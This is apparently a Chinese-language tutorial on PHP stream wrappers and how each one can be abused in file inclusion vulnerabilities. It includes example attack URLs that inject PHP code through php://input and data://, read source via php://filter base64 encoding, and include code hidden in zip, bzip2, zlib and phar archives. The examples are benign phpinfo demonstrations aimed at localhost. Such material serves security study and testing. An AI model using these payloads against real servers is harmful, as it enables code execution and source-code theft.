详解 php 封装协议
概述
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
各个封装协议是否能使用取决于 php.ini 里
allow_url_include
与allow_url_fopen
的参数设置情况。
file:// 协议
对 php.ini 中的两个参数不敏感
一般访问本地文件的时候用,最好跟绝对路径(不然会基于脚本所存在的路径进行检索)
1
2# file:// 绝对路径
index.php?file=file://D:\ha\haha\hahaha.txt甚至在一些情况下,使用直接跟远端地址也可以触发文件包含漏洞
php:// 协议
php://input
- 可以把
php://input
php://output
理解成通用的 I/O 数据流,而这个数据流就像一个堆栈,input,output 的东西可以在需要的时候立刻被执行 - 在
enctype="multipart/form-data"
的时候php://input
是无效的 - 对 php.ini 中的
allow_url_include
参数敏感,需要为 on
具体原理
1 | <!-- 客户端就是提交一个 POST 表单 --> |
1 | # 服务器端 |
- 如果我们确定了存在文件包含行为,且有可能要包含的文件名是由我们的输入经过
file_get_contents
控制的,那一般我们可以在 URL 访问的参数中写上1
2
3index.php?file=php://
# 然后POST包内容写上
<?php phpinfo()?>
官方对 php://input 的说明中,反复提到环境变量
$HTTP_RAW_POST_DATA
,这个变量其实和file_get_contents(php://input)
的内容是一样的。如果要开启这个变量,需要修改配置文件,找到always_populate_raw_post_data
这个选项,设置为 On ,然后重新启动 Web 服务器,就可以了。
php://output
- 与 input 同理
1
2
3
4
5
$output = fopen("php://output", "w");
fwrite($output, "Test-Testinggggg");
fclose($output);
php://filter
(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式
(all-in-one)
的文件函数非常有用,类似readfile()
、file()
和file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器因为
php://filter
也对 php.ini 中的两个参数不敏感,所以在有文件包含的时候,可以尝试在 URL 中使用如下命令1
index.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
php://filter 参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符分隔 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 _write=_作前缀的筛选器列表会视情况应用于读或写链。 |
其中不同的过滤器有
php://fd
- (>=5.3.6)允许直接访问指定的文件描述符。例如
php://fd/3
引用了文件描述符 3
php://memory & php://temp
- (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是
php://memory
总是把数据储存在内存中,而php://temp
会在内存量达到预定义的限制后(默认是2MB
)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()
的方式一致。
data:// 协议
- 自
PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码 - 对 php.ini 的两个参数敏感,需要都是 on 的状态
- 当确定有文件包含的时候,可以如下使用
1
2
3
4
5# data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
# data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
zip:// & bzip2:// & zlib:// 协议
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等- 对 php.ini 中的两个参数不敏感
- 当确定存在文件包含时,如下使用
1
2
3
4
5
6
7
8# zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\phpinfo.jpg%23phpinfo.txt
# compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\phpinfo.bz2
# compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\phpinfo.gz
phar:// 协议
- 类似与上方提到的
zip:/
压缩协议,phar 是归档协议 - 当确定存在文件包含时,如下使用#待处理
1
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用 phar 拓展 php 反序列化漏洞攻击面